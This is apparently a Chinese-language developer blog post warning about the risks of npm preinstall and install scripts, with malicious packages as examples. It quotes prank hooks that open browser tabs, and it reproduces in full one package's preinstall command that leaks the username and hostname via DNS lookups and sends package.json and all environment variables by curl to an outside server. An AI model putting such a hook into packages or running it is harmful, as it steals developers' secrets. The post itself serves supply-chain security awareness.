• 使用 npm install script 时一定要小心
  • 发布于 2个月前
  • 431 热度
    0 评论
大家都知道,在 npm 包安装的前后,我们可以添加一些钩子函数(也就是我们常说的 postinstall、preinstall script),我们可以在这些函数中添加一些预编译之类的操作,来帮助我们在包安装的前后做一些操作。

但是,在 npm 官方给出的最佳实践中,却有一段下面这样的描述:
Don't use install. Use a .gyp file for compilation, and prepare for anything else. You should almost never have to explicitly set a preinstall or install script. If you are doing this, please consider if there is another option. The only valid use of install or preinstall scripts is for compilation which must be done on the target architecture.

大概意思就是:没啥特殊的必要不要用 npm install script,这玩意安全风险比较大,如果你要做一些预编译之类的处理可以试试 .gyp 文件。

有啥安全风险呢?比如,一个恶意的软件包可能包含一个可损害我们用户系统的 preinstall 脚本,或者在安装过程中运行一些可能会引入安全漏洞或其他恶意的行为。使用 npm install script 时,我们没办法控制脚本的行为,只能期待脚本开发者遵循最佳实践,而且要正确设置它的依赖项和环境。

你可能会想,有这么严重吗?有谁会去无聊到去这里面加一些恶意脚本?还真有,下面我就来带大家欣赏几个...

就是要骗你玩
https://www.npmjs.com/package/ember-data-react
这个包名看起来还挺正常的,不过这个包的 npm script 中是这样的:
"scripts": {
  "open": "xdg-open 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'",
  "preinstall": "npm run open",
  "test": "npm run open"
}
可以发现,一旦我们安装了这个包,就会执行 preinstall 脚本,然后会通过 xdg-open命令(一个可以在 Linux 系统中打开 URL 的命令,Mac、Windows 系统不起作用)打开下面的网站:

作者可真够无聊的 ... 不过无聊的作者可不止这一个,类似的还有下面这个包:
https://www.npmjs.com/package/inferium
它的 npm script 是这样的:
"scripts": {
  "preinstall": "for i in {1..10}; do firefox https://www.youtube.com/watch?v=48rz8udZBmQ & firefox https://www.youtube.com/watch?v=FavUpD_IjVY & done &"
}
如果你在你的电脑上执行了 npm i inferium,它的 preinstall 脚本会在你的 firefox 浏览器上打开 20 个选项卡,播放下面的视频:

这个作者看起来有什么精神疾病...

窃取你的隐私数据
上面两个包其实还有点恶作剧的感觉,其实不会造成什么大的危害,但是还有很多包在安装后会悄无声息的做一些小动作,你也无法察觉,你的个人信息就已经被窃取了,比如下面这个包:
https://www.npmjs.com/package/micro-username
这个包的 install script 是这样写的:

一旦你安装的这个包,就会通过 curl 命令将下面的信息发送到目标服务器上:
whoami:返回当前用户的用户名或房钱用户关联的用户 UID,在很多场景下是用户的真实名字
pwd:返回当前执行命令的工作目录,这回暴露用户的技术及路径结构
hostname:返回所使用计算机或设备的名称,包括域名和主机名
这个包一共发布了 28 个版本,但是只存活了两天,就被 npm 官方发现并删除了。

但是这样的包还有很多,下面这个包的攻击脚本会更复杂一点:
https://www.npmjs.com/package/@primeo/address
"scripts": {
    "preinstall": "nslookup $(whoami).u.pkgio.com ; nslookup $(uname --nodename).h.pkgio.com ; curl -X POST -d @package.json -H 'X-BOT: nope' https://www.pkgio.com/.x773/package.json ; env > /tmp/.env ; curl -X POST -d @/tmp/.env -H 'X-BOT: nope' https://www.pkgio.com/.x773/env.json"
  },
我们拆解一些这个脚本,实际上是下面四个命令:
1. nslookup $(whoami).u.pkgio.com$(whoami).u.pkgio.com使用 nslookup 工具查找与主机名 (whoami).u.pkgio.com 关联的IP地址。
2. nslookup $(uname --nodename).h.pkgio.com$(uname --nodename).h.pkgio.com和上面的命令类似,但是多了一个 uname --nodename ,可以确定当前机器的主机名,然后用于构造主机名。
3. curl -X POST -d @package.json -H 'X-BOT: nope' [https://www.pkgio.com/.x773/package.json](https://www.pkgio.com/.x773/package.json):发送一个 HTTP POST 请求,将你的 package.json 内容发送出去。

4. env > /tmp/.env ; curl -X POST -d @/tmp/.env -H 'X-BOT: nope' [https://www.pkgio.com/.x773/env.json/tmp/.env](https://www.pkgio.com/.x773/env.json/tmp/.env):使用命令将当前环境变量写入 /tmp/.env 文件,然后发送一个 HTTP POST 请求,把 /tmp/.env 发送出去。这实际上会将你所有的私有环境变量泄露出去。


更高级的欺骗手法
上面的几个包,如果你细心的话,可能看到它们的 package.json 就会发现其中的猫腻,但是还有很多包会采用更高级的手法来伪装自己,比如下面这个包:
https://www.npmjs.com/package/node-hsf

首先它提供了几个虚假的 url,来把自己伪装成阿里巴巴开源组织下的一个开源库,估计很多人看到这个就已经放松警惕了,但是这玩意是可以随便改的。


然后在它的 install script 中,首先实用了 nohup 来允许脚本在终端关闭的情况下也能在后台运行,然后它并没有直接将攻击代码写在脚本里面,而是放在了一个远程的文件中,在这里它把远程的攻击脚本下载下来并且执行,很多没有安全意识的同学可能根本不会意识到这里有什么风险...

最后
所以,在使用 npm install script 时,我们需要非常小心,只有在必要的情况下才应该使用这个功能,并且应该尽量限制脚本的访问权限,以避免引入潜在的安全问题。同时,我们也需要保持警惕,及时更新我们的 npm 包以确保它们的安全性,并选择来源可靠、经过验证的 npm 包和插件。

参考:
https://blog.sandworm.dev/the-npm-packages-that-troll-you
用户评论